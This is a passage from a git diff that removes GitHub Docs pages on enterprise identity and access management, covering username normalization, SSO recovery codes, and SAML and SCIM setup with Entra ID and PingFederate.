username for the corresponding user account on your {% data variables.product.prodname_ghe_server %} instance. If the identifier includes unsupported characters, {% data variables.product.github %} will normalize the username per the following rules. -{% endif %} - -1. {% data variables.product.github %} will normalize any non-alphanumeric character in your account's username into a dash. For example, a username of `mona.the.octocat` will be normalized to `mona-the-octocat`. Note that normalized usernames also can't start or end with a dash. They also can't contain two consecutive dashes. - -1. Usernames created from email addresses are created from the normalized characters that precede the `@` character. - -1. Usernames created from domain accounts are created from the normalized characters after the `\\` separator. - -1. If multiple accounts are normalized into the same username, only the first user account is created. Subsequent users with the same username won't be able to sign in. {% ifversion ghec %}For more information, see [Resolving username problems](#resolving-username-problems).{% endif %} - -### Examples of username normalization - -| Identifier on provider | Normalized username on {% data variables.product.prodname_dotcom_the_website %} | Result | -| :- | :- | :- | -| The.Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is created successfully. | -| !The.Octocat | `-the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it starts with a dash. | -| The!!Octocat | `the--octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it contains two consecutive dashes. | -| The!Octocat | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | -| `The.Octocat@example.com` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | -| `internal\\The.Octocat` | `the-octocat{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created. Although the normalized username is valid, it already exists. | -| `mona.lisa.the.octocat.from.github.united.states@example.com` | `mona-lisa-the-octocat-from-github-united-states{% ifversion ghec %}_SHORT-CODE{% endif %}` | This username is not created, because it exceeds the 39-character limit. | - -{% ifversion not ghec %} - -### About username normalization with SAML - -{% ifversion ghes %}If you configure SAML authentication for {% data variables.location.product_location %}, {% endif %}{% data variables.product.github %} determines each person's username by one of the following assertions in the SAML response, ordered by descending priority. - -1. The custom `username` attribute, if defined and present -1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present -1. An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present -1. The `NameID` element - -{% data variables.product.github %} requires the `NameID` element even if other attributes are present. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-attributes). - -{% data variables.product.github %} creates a mapping between the `NameID` from the IdP and the username on {% data variables.location.product_location %}, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. - -{% ifversion ghes %} - -> [!NOTE] -> If the `NameID` for a user does change on the IdP, the person will see an error message when signing in to {% data variables.location.product_location %}. To restore the person's access, you'll need to update the user account's `NameID` mapping. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/updating-a-users-saml-nameid). - -{% endif %} -{% endif %} - -{% ifversion ghec %} - -## Resolving username problems - -When a new user is being provisioned, if the username is longer than 39 characters (including underscore and short code), or conflicts with an existing user in the enterprise, the provisioning attempt will fail with a `409` error. - -To resolve this problem, you must make one of the following changes in your IdP so that all normalized usernames will be within the character limit and unique. - -* Change the `userName` attribute value for individual users that are causing problems -* Change the `userName` attribute mapping for all users -* Configure a custom `userName` attribute for all users - -When you change the attribute mapping, usernames of existing {% data variables.enterprise.prodname_managed_users %} will be updated, but nothing else about the accounts will change, including activity history. - -> [!NOTE] -> {% data variables.contact.github_support %} cannot provide assistance with customizing attribute mappings or configuring custom expressions. You can contact your IdP with any questions. - -### Resolving username problems with Entra ID - -To resolve username problems in Entra ID, either modify the User Principal Name value for the conflicting user or modify the attribute mapping for the `userName` attribute. If you modify the attribute mapping, you can choose an existing attribute or use an expression to ensure that all provisioned users have a unique normalized alias. - -1. In Entra ID, open the {% data variables.product.prodname_emu_idp_application %} application. -1. In the left sidebar, click **Provisioning**. -1. Click **Edit Provisioning**. -1. Expand **Mappings**, then click **Provision Entra ID Users**. -1. Click the {% data variables.product.prodname_dotcom %} `userName` attribute mapping. -1. Change the attribute mapping. - * To map an existing attribute in Entra ID to the `userName` attribute in {% data variables.product.prodname_dotcom %}, click your desired attribute field. Then, save and wait for a provisioning cycle to occur within about 40 minutes. - * To use an expression instead of an existing attribute, change the Mapping type to "Expression", then add a custom expression that will make this value unique for all users. For example, you could use `[FIRST NAME]-[LAST NAME]-[EMPLOYEE ID]`. For more information, see [Reference for writing expressions for attribute mappings in Microsoft Entra ID](https://learn.microsoft.com/entra/identity/app-provisioning/functions-for-customizing-application-data) on Microsoft Learn. - -### Resolving username problems with Okta - -To resolve username problems in Okta, update the attribute mapping settings for the {% data variables.product.prodname_emu_idp_application %} application. - -1. In Okta, open the {% data variables.product.prodname_emu_idp_application %} application. -1. Click **Sign On**. -1. In the "Settings" section, click **Edit**. -1. Update the "Application username format." -{% endif %} diff --git a/content/admin/managing-iam/index.md b/content/admin/managing-iam/index.md deleted file mode 100644 index 7027d8627f01..000000000000 --- a/content/admin/managing-iam/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Identity and access management -intro: 'Configure how people access your enterprise.' -redirect_from: - - /enterprise/admin/authentication - - /admin/authentication - - /admin/identity-and-access-management -versions: - ghec: '*' - ghes: '*' -topics: - - Accounts - - Authentication - - Enterprise - - SSO -children: - - /understanding-iam-for-enterprises - - /iam-configuration-reference - - /using-built-in-authentication - - /using-cas-for-enterprise-iam - - /using-ldap-for-enterprise-iam - - /using-saml-for-enterprise-iam - - /configuring-authentication-for-enterprise-managed-users - - /provisioning-user-accounts-with-scim - - /reconfiguring-iam-for-enterprise-managed-users - - /managing-recovery-codes-for-your-enterprise ---- - diff --git a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md b/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md deleted file mode 100644 index 0727d692be71..000000000000 --- a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Accessing your enterprise account if your identity provider is unavailable -shortTitle: Access your enterprise account -intro: 'You can sign into {% data variables.product.github %} even if your identity provider is unavailable by bypassing single sign-on (SSO) with a recovery code.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - SSO -permissions: Enterprise owners can use a recovery code to access an enterprise account. -redirect_from: - - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable ---- - -## About recovery codes - -You can use a recovery code to access your enterprise account when an authentication configuration error or an issue with your identity provider (IdP) prevents you from using SSO. - -In order to access your enterprise account this way, you must have previously downloaded and stored the recovery codes for your enterprise. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes). - -{% data reusables.saml.recovery-code-caveats %} - -## Using a recovery code - -> [!NOTE] -> If your enterprises uses {% data variables.product.prodname_emus %}, you must sign in as the setup user to use a recovery code. - -1. Attempt to access the enterprise account. -{% data reusables.saml.recovery-code-access %} diff --git a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md b/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md deleted file mode 100644 index 7dc98ef2ae06..000000000000 --- a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Downloading your enterprise account's single sign-on recovery codes -shortTitle: Download recovery codes -intro: 'To ensure that you can access {% data variables.product.github %} if your identity provider (IdP) is unavailable, you should download your enterprise account''s single sign-on (SSO) recovery codes.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - SSO -redirect_from: - - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes - - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes -permissions: Enterprise owners can download the SSO recovery codes for the enterprise account. ---- - -In the event that your IdP is unavailable, you can use a recovery code to sign in and access your enterprise on {% data variables.product.github %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable). - -If you did not save your recovery codes when you configured SSO, you can still access the codes from your enterprise's settings. - -## Downloading codes for an enterprise with personal accounts - -{% data reusables.enterprise-accounts.access-enterprise-personal-accounts %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} - -1. Under "Require SAML authentication", click **Save your recovery codes**. - - ![Screenshot of the "Authentication security" screen. The "Save your recovery codes" hyperlink is highlighted with an orange outline.](/assets/images/help/enterprises/saml-recovery-codes-link.png) -1. To save your recovery codes, click **Download**, **Print**, or **Copy**. - -## Downloading codes for an enterprise with {% data variables.product.prodname_emus %} - -{% data reusables.enterprise-accounts.access-enterprise-emu %} -{% data reusables.enterprise-accounts.identity-provider-tab %} -{% data reusables.enterprise-accounts.sso-configuration %} - -1. Under either "SAML single sign-on" or "OIDC single sign-on", click **Save your recovery codes**. - -1. To save your recovery codes, click **Download**, **Print**, or **Copy**. diff --git a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/index.md b/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/index.md deleted file mode 100644 index 17e914a17e94..000000000000 --- a/content/admin/managing-iam/managing-recovery-codes-for-your-enterprise/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Managing recovery codes for your enterprise -shortTitle: Manage recovery codes -intro: 'With SAML single sign-on recovery codes, you can access your enterprise account even when your identity provider is unavailable.' -versions: - ghec: '*' -topics: - - Accounts - - Authentication - - Enterprise - - SSO -children: - - /downloading-your-enterprise-accounts-single-sign-on-recovery-codes - - /accessing-your-enterprise-account-if-your-identity-provider-is-unavailable -redirect_from: - - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise ---- - diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id.md deleted file mode 100644 index a1cb5f77c2d2..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-entra-id.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Configuring authentication and provisioning with Entra ID -shortTitle: Set up Entra ID -intro: 'You can use a tenant in Microsoft Entra ID (previously known as Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.location.product_location %}.' -permissions: Site administrators with admin access to the IdP -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-entra-id - - /admin/managing-iam/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-entra-id ---- - -{% data reusables.scim.ghes-beta-note %} - -## About authentication and user provisioning with Entra ID - -Entra ID is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Microsoft Entra ID?](https://learn.microsoft.com/entra/fundamentals/whatis) in the Microsoft Docs. - -{% data reusables.saml.idp-saml-and-scim-explanation %} - -For more information, see [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes). - -## Prerequisites - -{% ifversion scim-for-ghes-public-beta %} -The general prerequisites for using SCIM on {% data variables.product.prodname_ghe_server %} apply. See the "Prerequisites" section in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#prerequisites). - -In addition: - -* To configure SCIM, you must have completed **steps 1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - * You will need the {% data variables.product.pat_v1 %} created for the setup user to authenticate requests from Entra ID. -{% else %} -* {% data reusables.saml.ghes-you-must-configure-saml-sso %} -* {% data reusables.saml.create-a-machine-user %} -{% endif %} -* To configure authentication and user provisioning using Entra ID, you must have an Entra ID account and tenant. For more information, see the [Entra ID website](https://www.microsoft.com/en-us/security/business/identity-access/microsoft-entra-id) and [Quickstart: Set up a tenant](https://learn.microsoft.com/entra/identity-platform/quickstart-create-new-tenant) in the Microsoft Docs. - -{% ifversion scim-for-ghes-public-beta %} - -## 1. Configure SAML - ->[!NOTE] Even if you have previously configured SAML on Entra ID, you will need to configure SAML and SCIM on a **new application** to enable SCIM provisioning. - -Before starting this section, ensure you have followed steps **1 and 2** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - -### In Entra ID - -1. Create the "{% data variables.product.prodname_ghe_server %}" application in Entra ID. For instructions, see the "Adding {% data variables.product.prodname_ghe_server %} from the gallery" section in Microsoft's guide [Tutorial: Microsoft Entra SSO integration with GitHub Enterprise Server](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-ae-tutorial#adding-github-enterprise-server-from-the-gallery). - - >[!NOTE] Do **not** use the application labeled "(Legacy)." - -1. In the "{% data variables.product.prodname_ghe_server %}" application settings, click **Single sign-on** in the left sidebar, then click **SAML**. -1. In the "Basic SAML Configuration" section, click **Edit**, then add the following details. - - * "Identifier": your {% data variables.product.prodname_ghe_server %} host URL (`https://HOSTNAME.com`) - * "Reply URL": your host URL, followed by `/saml/consume` (`https://HOSTNAME.com/saml/consume`) - -1. In the "SAML certificates" section, download the SAML certificate (Base64). -1. In the "Set up {% data variables.product.prodname_ghe_server %}" section, make a note of the Login URL and Microsoft Entra Identifier. - -### On {% data variables.product.prodname_ghe_server %} - -1. Sign in to {% data variables.product.prodname_ghe_server %} as a user with access to the Management Console. -1. Configure SAML using the information you have gathered. See [AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). - -## 2. Configure SCIM - -Before starting this section, ensure you have followed steps **1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - -1. In the "{% data variables.product.prodname_ghe_server %}" application in Entra ID, click **Provisioning** in the left sidebar, then click **Get started**. -1. Select the "Automatic" provisioning mode. -1. In the "Admin Credentials" section, add the following details. - - * "Tenant URL": your {% data variables.product.prodname_ghe_server %} host URL, followed by `/api/v3/scim/v2` (`https://HOSTNAME.com/api/v3/scim/v2`) - * "Secret Token": the {% data variables.product.pat_v1 %} created for the setup user -1. Click **Test Connection**. -1. When the test is complete, click **Save**. - -When you have finished configuring SCIM, you may want to disable some SAML settings you enabled for the configuration process. See [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#6-disable-optional-settings). - -{% else %} - -## Configuring authentication and user provisioning with Entra ID - -1. Configure SAML SSO for {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso). -1. Configure user provisioning with SCIM for your instance. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise). - -## Managing enterprise owners - -The steps to make a person an enterprise owner depend on whether you only use SAML or also use SCIM. For more information about enterprise owners, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). - -If you configured provisioning, to grant the user enterprise ownership in {% data variables.product.github %}, assign the enterprise owner role to the user in Entra ID. - -If you did not configure provisioning, to grant the user enterprise ownership in {% data variables.product.github %}, include the `administrator` attribute in the SAML assertion for the user account on the IdP, with the value of `true`. For more information about including the `administrator` attribute in the SAML claim from Entra ID, see [How to: customize claims issued in the SAML token for enterprise applications](https://docs.microsoft.com/azure/active-directory/develop/active-directory-saml-claims-customization) in the Microsoft Docs. - -{% endif %} diff --git a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate.md b/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate.md deleted file mode 100644 index 9ea33603538c..000000000000 --- a/content/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-authentication-and-provisioning-with-pingfederate.md +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: Configuring authentication and provisioning with PingFederate -intro: 'Set up PingFederate as an identity provider (IdP) {% ifversion ghes %}to centrally manage authentication and provisioning for your enterprise{% else %}for {% data variables.product.prodname_emus %} on {% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}{% endif %}.' -permissions: Enterprise owners with admin access to the IdP -shortTitle: Set up PingFederate -versions: - feature: scim-for-ghes-public-beta - ghec: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO ---- - -{% data reusables.scim.ghes-beta-note %} - -{% data reusables.saml.idp-saml-and-scim-explanation %} For more information, see {% ifversion ghec %}[AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/about-enterprise-managed-users).{% else %}[AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/user-provisioning-with-scim-on-ghes).{% endif %} - -## Overview - -This guide will help you to set up both SAML authentication and SCIM provisioning for {% data variables.product.github %} on PingFederate. - -Before you start, please note the following: - -{%- ifversion ghes %} -* The use of PingFederate as an IdP for {% data variables.product.prodname_ghe_server %} is in {% data variables.release-phases.public_preview %}. Please contact your account team to provide feedback. -{%- endif %} -* This guide is based on PingFederate version 12.1. Instructions may vary for other versions. -* This guide provides the minimal steps to configure a working setup. Because your identity directory may be connected to PingFederate differently, you’ll need to pick the correct data attributes for SAML and SCIM based on what is available from your backing data store. - -## Prerequisites - -{% ifversion ghec %} - -If you're configuring SCIM provisioning for a new enterprise, make sure to complete all previous steps in the initial configuration process. See [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users). - -{% else %} - -The general prerequisites for using SCIM on {% data variables.product.prodname_ghe_server %} apply. See the "Prerequisites" section in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users#prerequisites). - -{% endif %} - -In addition: - -{%- ifversion ghes %} -* To configure SCIM, you must have completed **steps 1 to 4** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users). - * You will need the {% data variables.product.pat_v1 %} created for the setup user to authenticate requests from PingFederate. -{%- endif %} -* You must have installed the "GitHub EMU connector" on PingFederate. To download and install the connector, see [Install the provisioner](https://docs.pingidentity.com/integrations/github/github_emu_provisioner/pf_gh_emu_install_the_provisioner.html) in the PingIdentity documentation. -* To provision users with SCIM, you must use an LDAP server as the backing data store. -* You may need to configure the firewall in PingFederate to allow outbound connections to {% ifversion ghes %}the `https://HOSTNAME/api/v3/scim/v2` endpoint on your {% data variables.product.prodname_ghe_server %} instance.{% else %}the SCIM endpoints on {% data variables.product.github %}: - * For **{% data variables.product.prodname_dotcom_the_website %}**: `https://api.github.com/scim/v2/enterprises/ENTERPRISE` - * For **{% data variables.enterprise.data_residency_site %}**: `https://api.SUBDOMAIN.ghe.com/scim/v2/enterprises/SUBDOMAIN`{% endif %} -* PingFederate's "provisioner mode" must be set to a value that allows SCIM provisioning. See the "Before you begin" section in PingIdentity's [Configuring outbound provisioning settings](https://docs.pingidentity.com/pingfederate/11.2/administrators_reference_guide/help_protocolsettingstasklet_saasglobalprovisioningsettingsstate.html) guide. -* During this procedure, you will need to upload an X509 certificate to PingFederate. You may want to create and store the certificate before proceeding. You will also need the challenge password for the certificate. See the [Example of creating an X509 certificate](#example-of-creating-an-x509-certificate) section later in this article. -{%- ifversion ghec %} -* During this procedure, you will need to upload a SAML metadata file to PingFederate. If you're setting up an enterprise that uses **{% data variables.enterprise.data_residency_short %} on {% data variables.enterprise.data_residency_site %}**, it is easiest to create this file before you start. See [Creating a SAML metadata file for {% data variables.enterprise.data_residency_site %}](#creating-a-saml-metadata-file-for-ghecom). -{%- endif %} - -## 1. Configure SAML - -In this section you will create a SAML connector in PingFederate, set up an LDAP IdP adapter instance, and manage SAML output from your IdP adapter. - -1. [Create a SAML adapter](#create-a-saml-adapter) -1. [Set up an LDAP IdP adapter instance](#set-up-an-ldap-idp-adapter-instance) -1. [Manage SAML output from your IdP adapter](#manage-saml-output-from-your-idp-adapter) - -Before starting this section, ensure you have followed {% ifversion ghec %}the previous steps in [AUTOTITLE](/admin/managing-iam/understanding-iam-for-enterprises/getting-started-with-enterprise-managed-users).{% else %}steps **1 and 2** in [AUTOTITLE](/admin/managing-iam/provisioning-user-accounts-with-scim/configuring-scim-provisioning-for-users).{% endif %} - -### Create a SAML adapter - -1. Open the PingFederate administrative console. -1. Click **Applications** in the header, then click **SP Connections** in the left sidebar. -1. Click **Use a template for this connection**, then select the "GitHub EMU Connector" from the "Connection Template" dropdown. - - >[!NOTE] If you don't see this option, the GitHub EMU Connector has not been installed. If you need assistance, contact your Ping representative. - -1. To populate some fields in PingFederate's configuration, you will upload an XML file containing SAML metadata for your enterprise. - {%- ifversion ghes %} - 1. In a new tab, sign in to {% data variables.product.github %} as the built-in setup user. - Navigate to your SAML metadata page at `https://HOSTNAME/saml/metadata`. - 1. Download the page as an XML file. - {%- else %} - To locate the file: - - * If you're setting up an enterprise on **{% data variables.product.prodname_dotcom_the_website %}**, you will find this file in a ZIP file attached to the "GitHub EMU Connector" on PingFederate. - * If you're setting up an enterprise on **{% data variables.enterprise.data_residency_site %}**, you will create the file manually. See [Creating a SAML metadata file for {% data variables.enterprise.data_residency_site %}](#creating-a-saml-metadata-file-for-ghecom). - {%- endif %} - -1. On the PingFederate "SP Connection" page, upload the file from the previous step as the metadata file.{% ifversion ghes %} Ensure you do this within 5 minutes of downloading the file.{% endif %} -1. Go to the "Connection Type" tab. -1. Select **Browser SSO Profiles**, and deselect **Outbound provisioning** (this will be enabled later). -1. Click **Next**. -1. On the "Connection Options" tab, ensure only **Browser SSO** is selected. -1. Click **Next**. -1. On the "General Info" tab, enter the following details. - - * "Partner’s Entity ID": your {% data variables.product.github %} host URL ({% ifversion ghec %}`https://github.com` or `https://SUBDOMAIN.ghe.com`{% else %}`https://HOSTNAME.com`{% endif %}) - * "Connection Name": A descriptive name for your SP connection within PingFederate - * "Base URL": your {% data variables.product.github %} host URL ({% ifversion ghec %}`https://github.com` or `https://SUBDOMAIN.ghe.com`{% else %}`https://HOSTNAME.com`{% endif %}) - * "Transaction Logging": Standard - * All other fields may be left blank. - -1. Click **Next**. -1. Click **Configure Browser SSO**. -1. Click **Configure Assertion Creation**. -1. On the "Authentication Source Mapping" tab, click **Map New Adapter Instance**. -1. On the "Adapter Instance" Tab, click **Manage Adapter Instances**. -1. Click **Create New Instance**. - -### Set up an LDAP IdP adapter instance - -1. On the "Create Adapter Instance" page on PingFederate, on the "Type" tab, enter the following details. - - * "Instance Name": A name to identify the instance, such as `pfghadapter` - * "Instance ID": An ID for the instance, such as `pfghadapter` - * "Type": HTML Form IDP Adaptor - * "Parent Instance": None -1. Click **Next**. -1. On the "IDP Adapter" tab, at the bottom of the page, click **Manage Password Credential Validators**. -1. Click **Create New Instance**. -1. On the "Type" tab, enter the following details. - - * "Instance Name": A name to identify the instance, such as `pfghdocscv` - * "Instance ID": An ID for the instance, such as `pfghdocscv` - * "Type": LDAP Username Password Credential Validator - * "Parent Instance": None -1. Click **Next**. -1. On the "Instance Configuration" tab, click **Manage Data Stores**. -1. Click **Add New Data Store**. -1. On the "Data Store Type" tab, enter the following details. - - * "Instance Name": Any unique value, such as `pfghdocsds` - * "Type": Directory (LDAP) - * "Mask Values In Log": Deselected - -1. Click **Next**. -1. On the "LDAP Configuration" tab, configure your LDAP server details. -1. Click **Test Connection**. You should see "Connectivity test was successful." -1. At the bottom of the page, click **Advanced**. -1. Click the "LDAP Binary Attributes" tab, and add `guidAttribute` and `objectGUID` as attributes. -1. Click **Done**. You should be back on the "LDAP Configuration" tab. -1. Click **Next**, then **Save**. -1. On the "Manage Data Stores" tab, click **Done**. -1. On the "Instance Configuration" tab, enter the following details. - - * "LDAP Datastore": The name of the data store you created above - * "Search Base": The location in the directory where you want LDAP searches to begin - * "Search Filter": A filter that ensures the username the user enters when signing in matches a field in the LDAP server (for example: `sAMAccountName=${username}`) - * "Scope of Search": Subtree - * "Case-Sensitive Matching": Selected - -1. Click **Next**, **Next** again, then **Save**. - -### Manage SAML output from your IdP adapter - -1. On the "Manage Password Credential Validators" page, click **Done**. -1. On the "IDP Adapter" tab, enter the following details. - - * "Password Credential Validator Instance": The name of the validator instance you created above (for example `pfghdocscv`). Click **Update** to finalize your selection. - * All other fields can be left as the defaults, or modified to your requirements. -1. Click **Next**, then **Next** again. -1. On the "Adapter Attributes" tab, enter the following details. - - * "Unique User Key Attribute": `username` - * Next to the `username` attribute, select "Pseudonym". - - >[!NOTE] This step is important. The adapter attribute is used to uniquely identify a user on {% data variables.product.github %} during SCIM provisioning. -1. Click **Next**, then **Next** again. -1. Review your settings on the summary page, then click **Save**. -1. On the "IdP Adapters" tab, you should see the adapter you just created. Click **Done**. -1. On the "Adapter Instance" tab, in the "Adapter Instance" dropdown, select the adapter you just created. -1. Click **Next**. -1. On the "Mapping Method" tab, select **Use only the Adapter Contract Values in the SAML Assertion** (other selections may work, but have not been confirmed). -1. Click **Next**. -1. On the "Attribute Contract Fulfillment" tab, map the `SAML_SUBJECT` to "Adapter" as the source and `username` as the value. - - >[!NOTE] This step is important. The normalized `SAML_SUBJECT` will need to match the normalized usernames of users provisioned by SCIM. -1. Click **Next**, **Next** again, then **Done**. -1. You should be back on the "Authentication Source Mapping" tab, and the "Adapter Instance Name" section should contain the adapter instance that you just created. -1. Click **Next**. -1. On the "Protocol Settings" tab, click **Configure Protocol Settings**. -1. For the "Assertion Consumer Service URL" add a row with the following details: - - * "Default" selected - * "Index": 0 - * "Binding": POST - * "Endpoint URL": `{% ifversion ghes %}HOSTNAME{% else %}/enterprises/ENTERPRISE{% endif %}/saml/consume`{% ifversion ghec %}, where ENTERPRISE is your enterprise name or subdomain{% endif %} - -1. Click **Next**. -1. On the "Allowable SAML Bindings" tab, ensure only "POST" and "REDIRECT" are selected. -1. Click **Next**. -1. On the "Signature Policy" page, ensure only "SIGN RESPONSE AS REQUIRED" is selected. -1. Click **Next**. -1. On the "Encryption Policy" tab, ensure "NONE" is selected. -1. Click **Next**. -1. Click **Save**. -1. Click **Next** and **Done** until you reach the "Credentials" tab. -1. On the "Credentials" tab, click **Configure Credentials**, then click **Manage Certificates**. -1. On the "Certificate Management" page, click **Import**, then upload an X509 certificate (for help, see the [Example of creating an X509 certificate](#example-of-creating-an-x509-certificate) section). -1. For the "Password," use the challenge password for the certificate. -1. Click **Next**, then **Save**. -1. On the "Certificate Management" tab, you should see the certificate you just imported. Click **Done**. -1. On the "Digital Signature Settings" tab: - - * Select the certificate you just created for the "Signing Certificate." - * You can leave the secondary certificate blank and the "Include the certificate in the signature" checkbox deselected. - * The signing algorithm should be "RSA SHA256." - -1. Click **Next**, then **Done**, then **Next**. -1. On the "Summary" tab, enable the toggle for "SSO Application Endpoint." -1. Click **Save**. You should be taken back to the list of SP connections, where you should see your newly created SP connection. - -### Collect information for your SAML configuration - -You will need some details from PingFederate to configure SAML on {% data variables.product.github %}. - -1. On the "SP Connections" page, in the row for your new connection, click **Select Action**, then **Export Metadata**. -1. On the "Metadata Signing" tab, in the row for your new connection, select the signing certificate you created above. To download the certificate, click **Next**, then click **Export**. -1. On PingFederate, click **System** in the header, then **Server**, then **Protocol Settings**. Check that the `SAML 2.0 ENTITY ID` is defined. Make a note of this, as you will need it for the “Issuer” field in {% data variables.product.github %}'s SAML settings. -1. Open the metadata file you downloaded, and have it ready for the next steps. - -### Configure {% data variables.product.github %} - -1. Sign in to {% data variables.product.github %} as {% ifversion ghec %}the setup user for your enterprise{% else %}a user with access to the Management Console{% endif %}. -1. Enable SAML in your enterprise settings. See {% ifversion ghec %}[AUTOTITLE](/admin/managing-iam/configuring-authentication-for-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users#configure-saml-sso-for-enterprise-managed-users).{% else %}[AUTOTITLE](/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso).{% endif %} -1. Enter the following values from the SAML metadata file from the previous section. - - * For the "Single sign-on URL," use the `location` value of the `<md: SingleSignOnService>` field. This should be a URL ending `/idp/SSO.saml2`. - * For the "Issuer," use the `entityId` value of the `<md: EntityDescriptor>` field (a URL). - -1. For the "Verification certificate," upload the X509 certificate file that you created earlier. -1. Click **Save settings**. - -## 2. Configure SCIM - -In this section, you'll configure SCIM settings and attribute mapping on PingFederate. - -1. [Configure SCIM settings](#configure-scim-settings) -1. [Map LDAP fields to SCIM](#map-ldap-fields-to-scim) -1. 